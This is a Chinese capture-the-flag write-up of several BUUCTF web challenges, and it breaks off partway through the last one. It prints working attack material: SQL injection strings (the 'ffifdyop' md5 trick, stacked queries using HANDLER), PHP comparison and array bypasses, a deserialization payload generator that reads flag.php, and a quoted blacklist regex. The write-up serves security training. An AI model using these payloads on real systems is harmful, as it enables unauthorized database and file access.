buuctf刷题
- BJDCTF2020 Easy MD5
- 网鼎杯 2020 青龙组 AreUSerialz
- GYCTF2020 Blacklist
- 强网杯 2019 随便注
- GKCTF2020 cve版签到
- BJDCTF2020 Mark loves cat
- BJDCTF2020 The mystery of ip
- BJDCTF2020 ZJCTF,不过如此
- GKCTF2020 CheckIN
- GKCTF2020 老八小超市儿
- GKCTF2020 EZ三剑客-EzWeb
- GKCTF2020 EZ三剑客-EzNode
- BJDCTF2020 Cookie is so stable
- BJDCTF2020 EasySearch
- BJDCTF2020 EzPHP
BJDCTF2020 Easy MD5
进来就是一个输入框,发包查看返回信息
可以看到SQL语句。这里猜想MD5出来的值会不会可以可以这样利用
select * from ‘admin’ where password=’‘or’1’
这段PHP代码可以找到MD5出来的值类似于 '‘or’1…’
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
找到ffifdyop字符串,输入后出现
查看HTML源码发现部分PHP源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
弱相等,使用a=QNKCDZO&b=s214587387a 可以到达下一关
下一关也给了源码,不过这次是强相等
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
根据PHP的一些特性,可以知道MD5函数处理数组会返回null,所以param1[]=1¶m2[]=2 可以拿到flag。
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null
网鼎杯 2020 青龙组 AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 首先对传进来的str判断里面的字符必须在ascii码32~125之间。
- 然后反序列化执行到析构函数__desctruct();判断op,如果为2的话会重新赋值为1。
- 在process()函数中op为1调用write()函数。2调用read()函数。所以我们需要的就是调用read()函数。所以不能让析构函数对op重新赋值。
- 我们可以看到析构函数中对op的判断是强相等,因为上面判断的是字符串,所以我们只要将op定义为整形就可以绕过。
- 生成payload代码如下。
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
GYCTF2020 Blacklist
堆叠注入 + handler
1';show databases; \\查看数据库
1';show tables; \\查看数据表
1';show columns from FlagHere; \\查看数据表中的字段名
1';handler FlagHere open as p;handler p read first;handler p close;
强网杯 2019 随便注
黑名单列表
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
11';show columns from `1919810931114514`; \\可以看到flag列在这个数字的表中
万能密码可以看到数据,结合之前的查询,判断这个是words表中的数据